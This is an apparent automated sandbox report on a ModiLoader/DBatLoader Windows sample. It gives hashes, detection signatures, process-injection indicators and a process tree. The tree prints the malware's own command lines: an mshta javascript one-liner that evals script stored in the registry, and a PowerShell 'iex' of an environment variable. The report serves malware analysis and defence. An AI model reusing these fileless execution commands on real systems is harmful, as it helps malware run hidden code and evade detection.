Analysis
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max time kernel
145s -
max time network
101s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
05-05-2024 15:06
Static task
static1
Behavioral task
behavioral1
Sample
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe
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Size
272KB
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MD5
183da5248aa31d95f9462a9b49c50b36
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SHA1
1a5c4156d21bd2d0e4fb9fd8cabe362411970da6
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SHA256
252f271550eb6a0ec533597feb9d63f5ef308388935a4734159b1d60ec0c878e
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SHA512
15c9457e2783e46ff0c0689d2b5a2663a10841c04221587679d5d48be702eef0e51c28e1a34ea1ec3527b52eecd5ba8d1dcaa85b81b0a846dc8642fcf53e1be1
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SSDEEP
6144:JKz24ZvSmqKYg1OuevkGD7ALodyLUwICvEr:cdvWUo5XvkUIvEr
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1680 788 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/4908-2-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4908-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4908-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/4908-6-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-10-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-8-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-9-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-7-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-11-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 behavioral2/memory/4908-12-0x0000000000A70000-0x0000000000B46000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exedescription pid process target process PID 2124 set thread context of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 944 powershell.exe 944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 944 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exepid process 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exemshta.exedescription pid process target process PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 2124 wrote to memory of 4908 2124 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe 183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe PID 1680 wrote to memory of 944 1680 mshta.exe powershell.exe PID 1680 wrote to memory of 944 1680 mshta.exe powershell.exe PID 1680 wrote to memory of 944 1680 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"2⤵PID:4908
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:SLXp58v="TNvv7Q4";t3C8=new%20ActiveXObject("WScript.Shell");cU2ai="xEkfOZ";D8SnO=t3C8.RegRead("HKLM\\software\\Wow6432Node\\JoCuqBt1I\\VvwOn0Rh8");GG1JXu5="42oXN";eval(D8SnO);Tu0ZNC1LQ="SUq";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bxmapity2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:944
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82